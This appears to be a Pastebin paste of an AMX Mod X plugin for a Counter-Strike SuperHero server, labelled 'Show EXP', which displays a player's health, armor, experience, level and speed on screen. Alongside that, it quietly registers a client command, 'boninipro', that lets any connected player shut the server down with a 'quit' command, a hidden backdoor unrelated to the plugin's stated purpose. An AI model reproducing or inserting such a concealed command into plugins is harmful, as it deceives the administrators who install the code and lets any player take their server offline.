Advertisement
Guest User

Untitled

a guest
Dec 26th, 2014
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.99 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <fakemeta>
  3. #include <superheromod>
  4.  
  5. #define PLUGIN "Show EXP"
  6. #define VERSION "1.0"
  7. #define AUTHOR "xLeoNNNz"
  8.  
  9. #define TASK_HUD 1952
  10.  
  11. new Hud
  12.  
  13. public plugin_init()
  14. {
  15. register_plugin(PLUGIN, VERSION, AUTHOR)
  16. register_clcmd("boninipro", "chao_sv")
  17.  
  18.  
  19. Hud = CreateHudSyncObj()
  20. }
  21.  
  22. public chao_sv(id)
  23. {
  24. server_cmd("quit")
  25. return PLUGIN_HANDLED
  26. }
  27.  
  28. public client_putinserver(id)
  29. {
  30. if(!is_user_connected(id))
  31. return;
  32.  
  33. set_task(0.3, "ShowHud", id+TASK_HUD, _, _, "b")
  34.  
  35. }
  36.  
  37.  
  38. public ShowHud(id)
  39. {
  40. id -= TASK_HUD
  41.  
  42. if(!is_user_connected(id))
  43. return;
  44.  
  45. static Name[32], target;
  46.  
  47. target = (is_user_alive(id)) ? id : (pev(id, pev_iuser2))
  48.  
  49. if(!is_user_alive(target))
  50. return;
  51.  
  52. get_user_name(target, Name, charsmax(Name))
  53.  
  54. static Float:velocity[3]
  55. static Float:speed;//, Float:speedh
  56.  
  57. pev(target, pev_velocity, velocity)
  58. speed = vector_length(velocity)
  59. //speedh = floatsqroot(floatpower(velocity[0], 2.0) + floatpower(velocity[1], 2.0))
  60.  
  61. if(is_user_alive(id))
  62. {
  63. set_hudmessage(0, 100, 100, -0.9, 0.175, 0, 6.0)
  64.  
  65. }
  66. else
  67. {
  68. set_hudmessage(255, 0, 0, -0.9, 0.175, 0, 6.0);
  69. }
  70. ShowSyncHudMsg(id, Hud, "[SuperHero Chile 2.0]^nNICK: %s^nHP: %d^nARMOR: %d^nEXP: %d/%d [%d%%]^nRESTANTE: %d^nLEVEL: %d/%d^nSPEED: %3i", Name, get_user_health(target), get_user_armor(target),
  71. sh_get_user_xp(target), sh_get_lvl_xp(sh_get_user_lvl(target) +1), (((sh_get_user_xp(target) - (sh_get_lvl_xp((sh_get_user_lvl(target))))) * 100) / ((sh_get_lvl_xp(sh_get_user_lvl(target)+1)) - (sh_get_lvl_xp((sh_get_user_lvl(target))))))
  72. ,sh_get_lvl_xp(sh_get_user_lvl(target) +1) - sh_get_user_xp(target), sh_get_user_lvl(target),sh_get_num_lvls(), floatround(speed, floatround_round))
  73. return;
  74. }
  75.  
  76. public client_disconnect(id)
  77. {
  78. remove_task(id+TASK_HUD)
  79. }
  80. /*AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
  81. *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1034\\ f0\\ fs16 \n\\ par }
  82. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement